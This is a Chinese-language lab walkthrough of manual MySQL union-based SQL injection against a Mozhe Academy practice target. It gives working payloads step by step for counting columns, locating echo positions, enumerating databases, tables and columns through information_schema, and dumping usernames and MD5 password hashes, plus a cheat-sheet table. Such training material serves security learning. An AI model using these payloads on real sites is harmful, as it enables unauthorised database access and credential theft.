一、SQL手工注入漏洞测试(MySQL数据库)
本文以墨者学院靶场为例,演示MySQL数据库的手工SQL注入全过程。靶场以自己的地址为准:http://124.70.64.48:47777/new_list.php?id=1
二、注入原理与流程(如下指令去掉了id之前的内容)
MySQL手工注入主要通过闭合SQL语句、联合查询系统表来获取敏感信息。以下是完整的攻击流程:
1. 判断字段数
sql
id=1 order by 5
- 作用:确定SELECT查询返回的列数
- 原理 :通过递增
order by
后的数字,当页面报错时说明超出实际字段数 - 示例 :若
order by 4
正常但order by 5
报错,说明有4个字段
2. 确定回显位置
sql
id=-1 union select 1,2,3,4
- 关键点 :
id=-1
使原查询无结果union select
强制返回我们的数据- 页面显示的数字即为可回显的列位置
- 输出 :假设页面显示
2
和3
,则后续注入用这两个位置
3. 获取数据库信息
sql
id=-1 union select 1,group_concat(database()),3,4
- 函数说明 :
database()
:当前数据库名称group_concat()
:多行结果合并为字符串
- 典型返回 :
mozhe_Discuz_StormGroup
4. 枚举数据表
sql
id=-1 union select 1,group_concat(table_name),3,4 from information_schema.tables where table_schema='mozhe_Discuz_StormGroup'
- 系统表说明 :
information_schema.tables
:存储所有表信息table_schema
:过滤指定数据库的表
- 输出示例 :
StormGroup_member,notice,...
5. 获取字段结构
sql
id=-1 union select 1,group_concat(column_name),3,4 from information_schema.columns where table_name='StormGroup_member'
- 系统表说明 :
information_schema.columns
:存储列定义信息table_name
:指定目标表
- 返回结果 :
id,name,password,status,...
6. 提取账号密码
sql
id=-1 union select 1,group_concat(name),group_concat(password),4 from StormGroup_member
-
实战技巧 :
- 使用
group_concat()
合并所有记录 - 用
,
分隔不同字段(如admin,user1
和123456,qwerty
)
- 使用
-
数据示例 :
用户名:mozhe,admin,... 密码:5f4dcc3b5aa765d61d8327deb882cf99,098f6bcd4621d373cade4e832627b4f6,...

7. MD5解密后,手动登录,获取Key
MD5工具地址:https://www.cmd5.com/
三、关键指令速查表
指令/函数 | 作用 | MySQL特性说明 |
---|---|---|
order by N |
判断字段数 | 报错法最可靠 |
union select |
联合查询 | 前后列数必须相同 |
database() |
当前数据库名 | 等价于schema() |
group_concat() |
行转字符串 | 默认逗号分隔 |
information_schema |
元数据库 | 存储所有表/列定义 |
table_schema |
过滤数据库 | 值需加引号 |
table_name |
过滤表名 | 区分大小写 |